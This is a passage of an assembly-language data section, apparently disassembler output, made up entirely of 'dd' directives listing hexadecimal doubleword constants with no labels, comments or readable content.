782F493Bh, 8F78F719h, 82F93710h, 3321F3F1h, 8D8E8887h dd 840D67E9h, 3EF5832Ch, 1DE759A0h, 0D8D1C00Fh, 2DAC8095h dd 7C3B4357h, 0D480005Fh, 92AB36CCh, 33779E4Dh, 0DC90C900h dd 0E8DDAE96h, 6D380032h, 0E1E0E991h, 47702428h, 12575818h dd 61529260h, 78828126h, 0FC44752Bh, 4A1C9386h, 55C047F6h dd 2C76365Bh, 63E7FC5Ah, 0A31230CDh, 9298C81Eh, 0A0919Eh dd 0FB4A7567h, 3D14B235h, 0BB7EF800h, 1E0E5533h, 64F6037Fh dd 128D0813h, 882EEC90h, 0BD6E1400h, 0DA0C3FA0h, 1D8401A2h dd 0DAF80BBh, 35807EB2h, 67CCC4h, 0C56F9DFAh, 4291064Bh dd 4EDA6E0Bh, 0A4DEEFh, 33CB6110h, 8E01B7B8h, 0C956ED8Fh dd 0B18012EBh, 0C1F437C0h, 98840AB3h, 49B600ABh, 7D2CBFFh dd 0E8C09B8Ch, 9280AAADh, 0C0D6E84Fh, 29B19340h, 52750FEEh dd 5C3BAEFAh, 0D305802Bh dd 0E90BCE84h, 8A0A828h, 671B3C15h, 4896100h, 0A360C381h dd 3ED52200h, 360FF44Bh, 0C253E2Ah, 106C3C78h, 41F3AF07h dd 0F2720B6h, 597721E6h, 0EF202900h, 90FAA8D6h, 91260067h dd 1BBFD7DDh, 3F180815h, 9379174Dh, 0EAD61849h, 67521114h dd 0CC4648h, 7806CA8h, 7C6B4159h, 0A4F300FAh, 0DA6A35ECh dd 5500D547h, 0F5E1E680h, 81682Bh, 84403949h, 7A8DD8C7h dd 0E6BDD700h, 685A97CCh, 311600FBh, 77AF5EFCh, 663E1D9Eh dd 7A100059h, 0C8D64035h, 808B0F86h, 0A40736C7h, 0F5FBD043h dd 1C181989h, 0A6088A02h, 0C420C0C8h, 3EA57A58h, 0EEFC344Eh dd 0A7AC3D00h, 8F23E224h, 607B7931h, 15F05D49h, 36AF375Fh dd 0B34380A1h, 11C02390h, 413FFB16h, 9F2706BCh, 8DFB5DCh dd 0F521C861h, 0FED84413h, 770DF03Fh, 0AF600364h, 51859EBDh dd 0ED106873h, 606433D5h, 3FFA60AEh, 0EFBC0856h, 1B44DF9Eh dd 4412E440h, 0A87310B3h, 0C6ACF40Fh, 8EB8272Ah, 5D37BC60h dd 0EB810047h, 35117C3Ch, 8A30FA59h, 754610FFh, 0CA4F0084h dd 6C1B0BD2h, 180EF79Ch, 27C6A652h, 33E0F268h, 0AB5B46h dd 4F7F6C6Fh, 616AA1E2h, 76678AA0h, 0DF31EB0Fh, 3D113A22h dd 0FB98BF04h, 465B102Ah, 0F6EE3B00h, 0ADA58FBEh, 7052EC6Bh dd 0CE510353h, 6FB1DFD5h, 0C2BDB8C0h, 1D0058EEh, 4CE57B63h dd 952914h, 75BBB9DEh, 0E666D049h, 51A19701h, 72F240Ch dd 791BF0h, 0C627BB38h, 0E7F0C5ACh, 2DB3EF00h, 5B3D4CD0h dd 21950072h, 170B4DCAh, 1100BA58h, 0C7DD8115h, 0FCD0E76Ch dd 0FDDB00AAh, 214E8246h, 2005FF9Ch, 0F74A1559h, 0E26511C0h dd 6E7600C3h, 1FA65B05h, 21E5C532h, 0C9A800F0h, 860F6631h dd 20676E9Ch, 0AFE5F76Ah, 0A2B8F6h, 4B78AC95h, 3F5816EBh dd 3B00D37Eh, 53E0330Ch, 0E2F059Eh, 0B7A7B371h, 0E1622980h dd 900FE74h, 0BF6530A0h, 39F0B5h, 3CF3D585h, 955E98A4h dd 0CCF9B107h, 4B6003C3h, 0F75167Eh, 0E530FB5Fh, 0A2C48201h dd 0F2C0E893h, 0BD778500h, 8837DB72h, 2CED01E9h, 0B2DAB65h dd 0E135F882h, 74DADD00h, 603629C1h, 3A0D2A96h, 0A87DECh dd 0C3571A56h, 819225F5h, 0F0D51900h, 16A9BF78h, 0CA7239AEh dd 0F8603D7Fh, 29027D00h, 755ABA11h, 57407900h, 35E67B9Bh dd 7D1F4842h, 9E1C5224h, 0D828099h, 5123F73Ch, 5069731Dh dd 18496E00h, 7EA59385h, 90C0077Bh, 0B1F1A684h, 0F4461370h dd 0EB00CACFh, 0EE0CAC74h, 0E50434h, 0CB6879A4h, 0D0F65067h dd 7B38F500h, 596F584Fh, 0C0AE0090h, 8AABB2BAh, 0D750F096h dd 0CA0036CCh, 4C79CC2h, 0E6FBDDh, 70513B4Eh, 4C77138Fh dd 78249300h, 0EA64BB42h, 0D6850320h, 86DCBA43h, 80D80499h dd 0E774A48h, 3A1782h, 0B79D9FF0h, 453E4CCDh, 180912EEh dd 25135F81h, 5C00AA98h, 5208F411h, 631E3A7Fh, 9C3CFE81h dd 0F0CCCF92h, 2001886h, 96194123h, 0BA9F88h, 52D1EB6h dd 0EFD7C733h, 70D4CC00h, 0C1650ACh, 601076C6h, 2E32A8CFh dd 9B0006E4h, 0C291288Ah, 78FD72Ch, 2B72AAC8h, 3B0D0312h dd 937103D0h, 31CA3Ah, 1A642553h, 567E81h, 3B44614Ah, 2EA06BB2h dd 415017FAh, 0F3319E0h, 0A00DF080h, 0CC3CF5h, 7FB5DAEFh dd 0BF701BD0h, 15D6E500h, 13BCD375h, 0FF8F003Bh, 0A1CB4A2Ah dd 95076FE0h, 75CF3EEDh, 879E6ED0h, 48B7F25h, 0DB4C3C7Eh dd 0BC808136h, 5CC4C8FDh, 0ACA4C050h, 0F156744h, 4F21EF25h dd 5C0AF480h, 9F07CDECh, 613065E4h, 3F87A920h, 26FE5844h dd 0AEB55503h, 0DBD80289h, 5107FF3Eh, 9C600FD0h, 0DDB64950h dd 5F7700D3h, 355BBB1Ah, 9F006C0Ah, 0B370A589h, 30B164D8h dd 0A8306B7Eh, 8A387D5Dh, 0C09700B4h, 0DFD77F7Ah, 41A36013h dd 8840EEC9h, 173B720Ch, 7D3980h, 0EA4E54A5h, 40F09852h dd 19319361h, 61CC4ADEh, 0BCED1071h, 1137006Ch, 9A1CD70Dh dd 0FB12003Ah, 0CDF5396Dh, 5F7E8C44h, 7F3EC500h, 0ED139DC9h dd 414A00B9h, 42A763ECh, 26047088h, 0E0AB4D5Ch, 0A041EEBCh dd 82930h, 0F214737Ah, 685E2FBCh, 0BA360A00h, 0DF1E0B83h dd 81010059h, 787AE2DBh, 140341D0h, 3A7271Bh, 8B1AC81Eh dd 2F8A0019h, 2802B8A6h, 38C0E731h, 0F0C73CCEh, 8E2B03EBh dd 30A1C225h, 0C59905D0h, 2CE04554h, 0F3164A01h, 0E11AAE26h dd 28BA52C0h, 0FC184Bh, 0FF7C06A3h, 9DA82584h, 2B74D51Dh dd 28C22780h, 0EE6D37h, 0A9853DB2h, 6FDBF0F2h, 614C2B03h dd 0B1A821E9h, 3D06871h, 30561E49h, 0A0862836h, 0F83F18D5h dd 0D7DB003Ch, 8228C74h, 8FB075F7h, 84C4EA0Fh, 5980DCB8h dd 982CFDE0h, 107D00CAh, 0C84099ECh, 6B0587E8h, 549F2508h dd 0CC75A800h, 4D2AAAh, 49342B82h, 1F239A70h, 3E6F94Ch dd 0DFF3FB51h, 7386D806h, 548E002Eh, 852BD782h, 0CA00EAC9h dd 0DD84ED59h, 0BAAE1Ah, 2328AA5Bh, 0FFBE4E42h, 3ADA3100h dd 77EBB276h, 278F00E8h, 0CE82C5DFh, 0C1E432B9h, 973B3A00h dd 86D14062h, 7D740443h, 803F345Ah, 0E892B430h, 8084292Fh dd 54738562h, 2AE600F8h, 3ED604E2h, 0D10016F1h, 0D9A00E58h dd 186053h, 0EC0F86BCh, 492320B9h, 4D382C00h, 526430D7h dd 8144066Bh, 70A6507Dh, 48DB1102h, 4069159Dh, 41C460h dd 394F3121h, 12A8864Ah, 0D4807D00h, 6802FF1Bh, 0FEC2093Dh dd 0CD84289Bh, 0EE1DC101h, 0DDAFC8EAh, 9C0030EEh, 2C8A8D4Ah dd 7E5DF0h, 40AE93B7h, 6695983Dh, 5B277807h, 593047C8h dd 38ADD55h, 0FD207BE8h, 14F0C15Dh, 22E41249h, 3D7CFC3Bh dd 64DD00C9h, 93FBBAB6h, 67E01CCCh, 0B94A80D9h, 757A7451h dd 0C4DF5400h, 5D52D27Eh, 4FD70B25h, 49001B3Eh, 29465A97h dd 3D73E375h, 7B267178h, 351FBF7Ch, 0BCAB3100h, 5F91BAh dd 48CCC40Bh, 0D1A6C6A1h, 0A0CE9EEh, 78C561F5h, 6F9F03A7h dd 2CDEB9E1h, 38F7EDD8h, 0B063EE2Eh, 2E08680h, 0CF49Bh dd 0F3F19544h, 0F5ED605Eh, 0BF004EF0h, 0BE4846FAh, 4A1603h dd 8FECFD0Bh, 0BC172A08h, 0CBEEF200h, 0E8F8DBA4h, 0E94706CEh dd 616293B4h, 0CC565D2Ch, 3328D680h, 0E878E01Ah, 85C5DDEh dd 4811DC30h, 80836D03h, 0FEBA4609h, 58690044h, 9D428E82h dd 0A0007801h, 55129610h, 799ED4h, 0E7AB384Bh, 0FFE68BC8h dd 96005A7Ch, 9A7761Ah, 0C0673195h, 443BC180h, 350262E8h dd 86DE9C24h, 16071875h, 3AB02900h, 5FB60B35h, 937F26D4h dd 94EE9D28h, 0A060645Ch, 817721Ah, 68D81814h, 0D1162E14h dd 443C2C01h, 0E1C4959Dh, 0D7E400A2h, 25F8905Dh, 7A00A855h dd 73AAE0BFh, 986364h, 0E4A9C756h, 0FEC05DE3h, 8059EA3Eh dd 0F8308F71h, 0B5A62Bh, 0BEF54C69h, 41922617h, 38B20100h dd 0A5F67380h, 0CB2200BDh, 953979CDh, 0B7003159h, 3B91281h dd 9D6C2Ch, 0B8FCB22Dh, 30F8AF28h, 80D0C238h, 6217542h dd 627C64h, 2EA96AB0h, 0FC554E82h, 0FB0F97FAh, 60A35E11h dd 8848EBA7h, 9A6A248Ah, 776100D5h, 4E5FEDDFh, 0BBC1D601h dd 0C6F91952h, 392A6FE4h, 0C789BD3Ah, 2A089733h, 660280A0h dd 59A582A8h, 96FD4400h, 0C3774D78h, 0F9450334h, 19633F71h dd 50368989h, 25E8B8ACh, 0F9786900h, 0DCA44167h, 385501AFh dd 0FD94D80Dh, 6C2886F5h, 756957D5h, 0A7A21EAEh, 0C1258255h dd 0FA6011F8h, 0F4B228E1h, 0BBF1E00h, 0DC2090FBh, 0E79B00DEh dd 0EF0DCFA3h dd 14A08972h, 0D9F4910Ch, 63F3C600h, 0F95FFEE9h, 6F980089h dd 29D61CA9h, 4A9888B3h, 0BD48718h, 0F42339h, 454CDAC9h dd 0EE343BB1h, 68AF5E06h, 780C29h, 95A0F63Ah, 1E45B954h dd 0D3A9B102h, 80766E87h, 3C57BE68h, 935E0074h, 0E65A66EFh dd 3D2BFE69h, 435104D1h, 46B1C44h, 65B460ADh, 11C32A00h dd 3EC2362Fh, 6218003Ah, 6CAD6839h, 0FA002750h, 0FE304564h dd 39A0AD1h, 0CB0DE9DBh, 4807420Eh, 546AE7C9h, 88A26720h dd 148C002Eh, 0DB71FF31h, 7F18CB61h, 0D1203CD5h, 0EE170AB5h dd 7020C1E1h, 0C8C871Fh, 6838C20Fh, 0E900B1B8h, 0E08FAF43h dd 0C4368C9Eh, 0C740BB19h, 0C6E5500Ch, 300C041h, 0B9444771h dd 0F4B385h, 45E88BBCh, 512202ECh, 3B4B2400h, 40DB2765h dd 0FE311EEDh, 9060152Eh, 0EABD5A1Fh, 6950F894h, 87001993h dd 539144E8h, 0E91C671Eh, 39283E59h, 0E7376D0h, 14944DB0h dd 8BD237A7h, 6A083B83h, 5AEE401Bh, 9EF6D049h, 69C00DAh dd 558F69BDh, 0D0FB949Fh, 8DE03CDEh, 8066B03Dh, 483989E7h dd 77C3E4h, 4CBD7A3Fh, 0BE940B3Ah, 6CFF741Fh, 0FCAF280h dd 544C5AEh, 0A559E5E1h, 8B600466h, 0E70C4094h, 3CDB2AEEh dd 0BF003882h, 304623BEh, 0F1FE2E9Eh, 8D489F74h, 0B9F68014h dd 3CD8B2E4h, 1180C5BDh, 0ED7BDF44h, 0C3034957h, 20DD4E6Ah dd 3FE3B0h, 928B8170h, 42F246ADh, 41A1841Eh, 1CB1B046h dd 58035C69h, 0A16C6618h, 9400A365h, 9040F1EAh, 0D9B5696h dd 1CB90F74h, 0C3C9589h, 0BB3DB4h, 77D78A57h, 6E7A25h dd 870B501Dh, 818FC4FDh, 270863Fh, 4B66A6A1h, 10684A25h dd 8B67B3ECh, 19DEB837h, 53E89E86h, 0F200A4EFh, 0BE99CEAh dd 6930D798h, 0E3B0392Eh, 0DF060092h, 7644E69Bh, 0A9786BFFh dd 0B4ACCC01h, 18E273Eh, 8148788Fh, 2DC8CA40h, 0A4A1C726h dd 44A64054h, 99C00B86h, 8B913C84h, 0A0280296h, 4E690F99h dd 21008643h, 1C6AE32Ah, 0D5B409h, 9B3723B1h, 0BDBCBF72h dd 0C401C377h, 0B6743644h, 0D8204605h, 0B82E290Bh, 0E70100FCh dd 82916CDAh, 590E8C30h, 4455CAh, 0BA58F8D3h, 82BFCF7Dh dd 9E4080F3h, 5B13FBE7h, 0C28C3E5Dh, 321AE38Ch, 7C788551h dd 6C686902h, 0FF1F59DFh, 0E01CED60h, 92395D3Ch, 402131B0h dd 4910938Dh, 34608CA1h, 1548F81h, 511B24D5h, 0B21F0A64h dd 0C09E46F4h, 661410E9h, 6E6009Ch, 0B0BAE3CDh, 0DC9041E2h dd 692F6930h, 0B7373Ah, 86C5D89Fh, 446246D5h, 50487300h dd 0AEE48495h, 1834980Dh, 69301CF5h, 78008C87h, 0DD8F6E08h dd 0E08AA397h, 6290591h, 673637C8h, 8109E8h, 76A7C49h dd 9E400364h, 1B4675C4h, 0B0CD113Eh, 323A1925h, 3E15F2A6h dd 49809F59h, 455EBEDh, 5A24B2B3h, 84442CA5h, 37374C8h dd 2AB8FB7Fh, 3298F38Fh, 6C29FC1Eh, 0D20FC019h, 8C174091h dd 20662009h, 0A802213Bh, 0FF398A36h, 0FA78A07Dh, 0A62F815Ah dd 1C6D44C8h, 0B200DC91h, 0E9609747h, 90140F5Fh, 0EB43F588h dd 39006B66h, 0E32CC47Ah, 97FCDh, 36AD87DEh, 949D77FCh dd 1BB88A8h, 93B02288h, 22C41F08h, 1CB2DD26h, 8943158Ch dd 0D7BA5013h, 9C1A0172h, 0E9FA8267h, 0DCD6C8CEh, 7E09E578h dd 8147A18Bh, 8CD2E884h, 0A0441D6h, 24180115h, 30C3DD18h dd 0E0043E82h, 1E1A2764h, 31F83CC6h, 5AA194BAh, 8891EAC6h dd 55026B8h, 127751A3h, 0CA6FF80Ch, 8F28C0D2h, 0A21C94A8h dd 5527D0F7h, 1F480500h, 0D97C3BCBh, 7D030310h, 0B66E3685h dd 0C2FC29C9h, 59FD90B0h, 40318C26h, 0A122D764h, 364898B0h dd 2F602E78h, 0D02ACC21h, 0A1582C27h, 0C6060034h, 5001F5E7h dd 0E8EE6729h, 5AD3B51Eh, 4E3AB800h, 4D5B72D8h, 0F2800C4Dh dd 4F256E41h, 58314706h, 2CE11C81h, 80540A84h, 0C8D1BB83h dd 8500A529h, 335147FFh, 1F2435F2h, 418B1B4h, 0CCD3A259h dd 0E54C0F18h, 18EE8F2Ch, 1730991h, 0CC11C681h, 26011E14h dd 0C48840A0h, 0E8404344h, 39F0104h, 0A075F368h, 247030B2h dd 98CDEA26h, 692108h, 16EE36Ah, 5E003FC4h, 0A32CF204h dd 4C7FEF44h, 0E8443023h, 46B1241Ch, 0BE0F8670h, 74F641E7h dd 0F305089Bh, 0F88CCA5Ah, 198B3B8h, 62AD452Fh, 1EDA0134h dd 80336901h, 39371431h, 27D18BEh, 0C155FC8Bh, 83C00B34h dd 0B905CE03h, 0E80CF7A1h, 344564CDh, 9E145804h, 44B3949Ch dd 9499846Ah, 2CF46700h, 50CC140Bh, 0DC5466h, 4945B324h dd 0FB4AB261h, 3A04CD13h, 91700408h, 49F3830Bh, 0FB44C863h dd 74EA00A1h, 0CCF0E64Ah, 2E28A4ADh, 20E57C9Ch, 3340F55Ch dd 195760EEh, 0E5E4E37Dh, 87964F00h, 0C4A02DE6h, 0ECFC572Eh dd 40E41B26h, 752274F7h, 76007598h, 0D9F5B677h, 0F565FABFh dd 16DD7460h, 21C859E9h, 0DD5307CCh, 5898618Bh, 0B7513000h dd 0B10CC050h, 29A83752h, 9A00F41Ch, 0C5C16794h, 0AA4005EFh dd 28B2EA77h, 4A601CF8h, 4BED8131h, 6DE077Dh, 0C3C1C4F0h dd 69035EEBh, 41937B4h, 0D561F8F1h, 0F53E005Dh, 0DF49209Fh dd 935CE24Dh, 9EF0169Ch, 331B1461h, 90648050h, 6C98B1h dd 5FE6B6A6h, 0A5AAFFCAh, 0BB1224B3h, 32AF5432h, 52EA8C69h dd 0C931B910h, 0C934BADCh, 446E948h, 30CCB85Ch, 52D8901h dd 0BCD05A85h, 0E15830F1h, 0AE1B20h, 0E1364531h, 0C3935FB7h dd 533D347Eh, 6D688556h, 58D2EF5Dh, 9002270Eh, 767DCD05h dd 9F5D6702h, 41FB42B0h, 5030228Ch, 5952800Bh, 32B6E1C7h dd 1BEC8DC8h, 0BEB0F149h, 70D05789h, 0D715E700h, 20E8C9C8h dd 3F482EEDh, 881A45D4h, 0FD00AD1Ch, 4A5F7118h, 0E08437h dd 0B3831F42h, 0C0DF3DEBh, 3C59CCAEh, 4AB0C5E0h, 0A6942C05h dd 0BBE9B840h, 9057BBDh, 1ADF44C6h, 83A00813h, 3400C592h dd 0FC284694h, 0E026AA2Ch, 8D070B2Fh, 20319EEFh, 254C6466h dd 0E4540098h, 0C67B1CDCh, 4C0195EEh, 73761DC5h, 8FED57B3h dd 582159D0h, 0E4C40CE8h, 26D4A2D0h, 903E1839h, 8F11876Eh dd 0A0352644h, 0AE6FD826h, 80DE0021h, 148B6D33h, 0CC1E8673h dd 100AD611h, 199F02E5h, 48EEA1EBh, 39F04BB0h, 0DED5D700h dd 860F2FFCh, 0AA79028Bh, 31C4DD6h, 0F40C306Ch, 8112BD5Ah dd 0F4335484h, 0AACB00B2h, 1951614Dh, 0C30053E5h, 85F81EEEh dd 5FE4CB1h, 5D39A090h, 0FE8CCEAh, 7EF51400h, 0AC9A5F78h dd 5C2902E6h, 32335E2h, 0EE52ACCCh, 534B00D0h, 5875A9B3h dd 0B8E30F5Ch, 90789ABh, 0B4B069F1h, 948431C9h, 0CD8B8034h dd 7EBC70B6h, 0C98D3500h, 0D0ABB25Fh, 7FC0B81Ah, 0A470B91Fh dd 0DA309B4h, 50842C28h, 0F4B1688Fh, 0E0572980h, 2C7AF395h dd 0E2388B2Fh, 3A2B9366h, 0BC4618h, 8CD8D230h, 0E0D45AEAh dd 93AD2602h, 19A58D33h, 21872EEh, 39B5F8D2h, 0A01070AAh dd 0B2E60468h, 809C96A4h, 40B70A94h, 0EF00D8E3h, 18D23506h dd 304BD9h, 0CAC9CC5h, 0B678E43Ah, 0E01D694Bh, 39B84958h dd 4920608Ch, 19E661CCh, 25DB4A00h, 0C67EB31Fh, 0F5491EA9h dd 0DEA601BEh, 251D7FCBh, 0CAC0603Ch, 211E4622h, 0CE12329Fh dd 782D2D0Ch, 265CBB5Bh, 56006988h, 40449E27h, 0B8BE63Fh dd 83A56EBh, 1C70A410h, 704C94AFh, 610F8148h, 0A014BB54h dd 0E3FCEE98h, 0A493D0h, 8CC5489Ah, 7504FA8Eh, 686F93D2h dd 0A0BBBCC7h, 59BBB1C0h, 0E4B4523Ah, 602EEE15h, 1E6E4080h dd 5E09C135h, 98E42273h dd 0D3B82Ch, 6CAF1DCAh, 0D4CE871h, 0B43BA404h, 28E33F74h dd 2480004Dh, 0F0577EE8h, 8D3430F9h, 2516669h, 71B17224h dd 7369338h, 2BAF0C10h, 3F5A9C10h, 3852A600h, 84E1A89Bh dd 548C5CA1h, 2820AD8Fh, 73D5DBAFh, 0DD6E0577h, 0EE1851F8h dd 8952713Bh, 0FBFD3100h, 757F1798h, 0A0345469h, 19F900B4h dd 8D579925h, 9A021CF8h, 93B60C40h, 1F3DE1ABh, 2BC8BC38h dd 52017924h, 22BD0CC1h, 5CEEF18Ch, 27E0F071h, 5900BC71h dd 4A612D0Ch, 186AB7CDh, 48D2A96Dh, 29047BDFh, 73EB075Eh dd 9CFD9498h, 592118B0h, 2400AC54h, 150398A6h, 0BCB2BBh dd 2C743E94h, 0B08B3521h, 38129E4Eh, 6FEC0889h, 3E2B8h dd 0E39A7604h, 74F3D3BFh, 73023E1Eh, 0B08D8927h, 436AC08h dd 0EFAA0605h, 4277C492h, 2F8D3058h, 8F25844Ch, 0C81038C6h dd 512E8864h, 5A313661h, 19A748C6h, 0C0224484h, 41A1D3C5h dd 20A160A4h, 0E0301423h, 1ABD72Eh, 91DFCF58h, 0EA6628B8h dd 88A54523h, 0F1ECDEh, 0CE4C8430h, 51F93104h, 0A45C6415h dd 9E760070h, 0E1FEE9E7h, 7A13000Eh, 3621D1A1h, 0AC2C7B1Ch dd 68EAC83Dh, 0EC267F01h, 0E6EEE070h, 8F9E0924h, 60834A2Ch dd 0A9005519h, 62203AF2h, 610892h, 0EFB564EBh, 0C31B5930h dd 0CCFBBE00h, 0E6B0BB0Ah, 0ECF1C840h, 9F64B58h, 0F9701612h dd 0D8CF7205h, 1C26F440h, 5B871811h, 0E307BB7h, 0CC91ABh dd 5CEA4D72h, 714C6F7h, 9502CDF2h, 635A0E8Bh, 1CD959h dd 4EED7BDDh, 7450B0F3h, 9102328Ch, 85C95C81h, 4A2C7BA1h dd 0AB486074h, 0B5004799h, 0EB2A1727h, 30FA88DCh, 84A10E1Ch dd 4256156Bh, 0E8E0268h, 4396E692h, 0C8A4F408h, 0D3B6A150h dd 1DE5220h, 7CF2EEA0h, 0EE171844h, 0E5D814C0h, 1C383781h dd 0A48507C5h, 910E20A4h, 534DD8B7h, 0DE5A0C03h, 0AF21B8C7h dd 41E09EDCh, 2266030Ch, 0E1FD0098h, 0F0519F3Bh, 23C400BCh dd 0B0A66196h, 3E3CC25Dh, 0AE391786h, 2CC87812h, 1380932Dh dd 6BACD01Bh, 9FE00601h, 0D07CFE0Eh, 2138A15Fh, 74343407h dd 1C11EBC2h, 1B1C47B1h, 6D038C68h, 90937500h, 2EA5DFA2h dd 4D204F8Eh, 0CC310F8Ch, 567F51C0h, 5E791600h, 0A281996Eh dd 8DA817A0h, 38A81ECCh, 0C000459h, 37975F7Eh, 0C74D1596h dd 8428896Ch, 0E4A447F0h, 0E9D244EBh, 92589C02h, 4E23159Fh dd 0C3E40190h, 2DBDAB5Fh, 86EFE24h, 0F0A90B79h, 46598F3Dh dd 1D30E49h, 0B6B0BAC6h, 2422FC24h, 44D466A7h, 0D244C171h dd 157BFC4Ch, 0E828FB8Ch, 21039C8h, 1CE96931h, 7A702DE8h dd 803B74B9h, 0BD319C45h, 3055EB09h, 3F50BC5Ch, 975DB41Ch dd 0EC84501Ch, 5777590Ah, 0B2E090C3h, 0E66F4EE9h, 0E49E0173h dd 0D0059295h, 5110942Dh, 496480E8h, 0F5EA1BFh, 0C3389CA8h dd 0C652B001h, 0ADE4EC74h, 26F6E0A6h, 2B8B2C1Ch, 0F394A200h dd 50E83B3h, 1A88ED3Dh, 88F0A79Eh, 68034132h, 3CE7C406h dd 700B787Fh, 46FF74BDh, 54C909CCh, 4600D410h, 59C2B3AAh dd 4E66E839h, 6948C802h, 0CA98A32Dh, 1E37D8C1h, 0D3E20770h dd 5E8AEE5Dh, 0BC804D01h, 0CE20221Dh, 9E0691DEh, 0F049DCF2h dd 719CE503h, 2D7DA93h, 7CB6CAA9h, 0C441CACh, 0C3064AF0h dd 0C7273470h, 8090B1B8h, 756EEB1h, 0A317CD53h, 1C61B2AFh dd 0C0326330h, 0DA6C205Ah, 2C3DED0Fh, 2B2F9F7Fh, 436BB4C0h dd 0BACD26ACh, 72374534h, 55650064h, 232E9912h, 70FF00A7h dd 18421B36h, 25FAC49Fh, 0C16E1C0Bh, 0D5D06811h, 74A98ADh dd 0C706D3E6h, 11F9D1D0h, 52D98349h, 0B7B10F24h, 3B7B5150h dd 4ADE023Eh, 0E466ECA1h, 906788D9h, 0CFDF810Bh, 4C213E7Fh dd 48DF643Ch, 0EA0A69D2h, 9FC484D7h, 6C0630A3h, 89A55AACh dd 4827EAF8h, 0DD28201Bh, 5A91973Bh, 0EE5C2119h, 8347C866h dd 0F54A0600h, 289EC7DDh, 0E00F1681h, 871412D7h, 1BB95C2Ch dd 0A2F4E0A4h, 1241313Fh, 24A41983h, 0E5CF136Ch, 5C110078h dd 60D43829h, 4A819A1Ch, 0EBCBA65Dh, 4640B2A2h, 0F6740080h dd 3B22CCB3h, 0ECF6E3F0h, 39E4BC1Fh, 0FC886993h, 25BA5A30h dd 0B1906288h, 3E00A479h, 50966FF9h, 0E6530108h, 5AB170F7h dd 80B87C8Ch, 338174ADh, 51790590h, 0C16AC646h, 680DC4h dd 0DDB857h, 0B2D3CA4Bh, 0CEC8F97h, 5C66E50Ah, 49918839h dd 0F4EDF600h, 4051C49Ah, 9B12A90Bh, 0A58187Ah, 5F6E0238h dd 583CD28Ch, 34159471h, 0D0C292F8h, 3BB4E553h, 0B9D21898h dd 0C89CBB20h, 686694h, 5DC9B3ABh, 258D616Dh, 1C84E49Ch dd 8595402Fh, 1D1AD4BFh, 805DBACEh, 0B7A459A3h, 0A898156Ah dd 1101B920h, 0C11B1h, 0C4C0A766h, 0B096D7h, 0CA1A1363h dd 0A0D058A9h, 5B3F5A0Eh, 687E8ADEh, 89C3390Fh, 430C44C6h dd 26CA2163h, 0A2A5C400h, 5E5800D0h, 84F8AA7Dh, 3E15E631h dd 9C80CFB7h, 4B370B7Ah, 227A91BBh, 50FDA32Ch, 0B9C898E9h dd 7D0500E9h, 571E1143h, 3D0560DAh, 8D89830Dh, 5B352898h dd 0D85448D1h, 1DC75985h, 0B82EB842h, 1B1C232Ch, 0F3EA6100h dd 32F5D8EBh, 465B001Fh, 19ECBD11h, 0D0392207h, 0B38097A9h dd 3DE0E460h, 7810959Fh, 7B00B5F3h, 0B0DF9C03h, 4C2E8D38h dd 0AE00609Eh, 83ADA80Eh, 0B24BD539h, 54862432h, 73AE8EC4h dd 23614F23h, 12FFD7B8h, 1549E913h, 1ADF1460h, 4AD8883Bh dd 693C4F7Fh, 0CB1B9231h, 21A01037h, 1930475h, 15673DB6h dd 0E4F4EB99h, 0F4BCBC01h, 13815804h, 0C400A8F7h, 6CF870DAh dd 7400CC60h, 1347E51Ch, 12E0378Ch, 80CAAA2h, 1443A130h dd 0D3FE3943h, 7382EAB8h, 78DD7FCBh, 3308C871h, 60B894E5h dd 8C01F053h, 5E9BE2B2h, 0F147D85h, 201B2A9Dh, 7C78B692h dd 0A7A300C3h, 217F077Dh, 1D13C1B7h, 848CD38Ah, 64855004h dd 0CD3A00E1h, 99FBD74Ah, 0D200C3DCh, 3B4FB5AEh, 74CAC8F1h dd 6BAB0991h, 58106602h, 0FA00E979h, 9DE7A2EDh, 0FAF29A96h dd 0A1344C4Bh, 0ACF3433Fh, 68375DE0h, 0C9C30F85h, 801C3C24h dd 2EB9F116h, 2AC005Fh, 26EAFB09h, 6A0419CFh, 9D164DDEh dd 39FF090h, 0E4EC53BAh, 34711100h, 0D58FAD17h, 74601F4Ah dd 0BEBA2EA1h, 3C4983D0h, 5C1C816Ch, 36C06279h, 0BDBCB307h dd 13FE4F58h, 0E348D0D0h, 8E00C174h, 0F3A3AC40h, 3D937EA8h dd 68D9D098h, 9418F789h, 3300E330h, 1975C8FEh, 358F4Bh dd 1C873FD8h, 253963Ch, 0E6E44201h, 22D2A852h, 4444092Ah dd 0CDB04C48h, 0B6DC1C88h, 0C88C4444h, 58FAA6D4h, 4F367300h dd 4BA96B50h, 0A4405D4Ah, 0F4278B7h, 1000F1C2h, 74C296DEh dd 0C19051ECh, 5048BDBBh, 137BDF90h, 94413800h, 50E681CCh dd 0DC31953Fh, 580C76h, 29259620h, 42D0D16Ah, 9BAC9F00h dd 999DB7C7h, 353E0064h, 659C2F52h, 60032178h, 40851DFAh dd 76BDC0E2h, 75693EA7h, 0AE201A37h, 80B6BF87h, 0E1816E7Eh dd 820162FEh, 65B48D24h, 7AE402BCh, 4031C1A2h, 8315FB53h dd 59224F41h, 0CBCBE318h, 707C70h, 33DA2954h, 0A982036Ch dd 0DC7B2800h, 0A8D5831Eh, 0E10E00FAh, 0C41BD884h, 643EF5DDh dd 69CC05FDh, 3440A9A3h, 730A04C1h, 418F3C81h, 79F2FA19h dd 0B803E5DAh, 63C828h, 48AF97D8h, 760D7BE6h, 0E10901C6h dd 6077B229h, 0A399A885h, 981C27FCh, 0B8D6BCEFh, 7C739900h dd 63A4B621h, 8461887Bh, 19223100h, 0DB76CED1h, 3E12001Dh dd 371E3A8Fh, 65526F1h dd 39888B0h, 11280D61h, 0EFD5F0C1h, 0AC350928h, 4129F5F9h dd 44F4F318h, 0B5780064h, 4A954964h, 0B279CE03h, 287B9E8Eh dd 44A08389h, 69606102h, 8DF22819h, 6181CF9h, 8F1F007Bh dd 5445B89Dh, 0AEFD2B00h, 8C264484h, 53660AF9h, 3D3C3E05h dd 0A307C244h, 10BC36DBh, 1D5C8EC0h, 65820087h, 2F1E301h dd 4D00F45Eh, 0BFA7E986h, 0C672808Fh, 51EF9381h, 0C062A900h dd 7C5F95EEh, 1C2249F4h, 80A7A610h, 47E83472h, 11B7BFDh dd 24296DDh, 136F61A9h, 4E0A9030h, 8E7EF1h, 0E059A07Fh dd 5A2A8778h, 0C1A8032Ch, 0A45315h, 6B128D14h, 96B46Ah dd 31EA2881h, 0A3A2E564h, 22CEE31Dh, 60C6BF00h, 0FA96C9h dd 316D6EF3h, 4B77F992h, 4446EC14h, 912F05D0h, 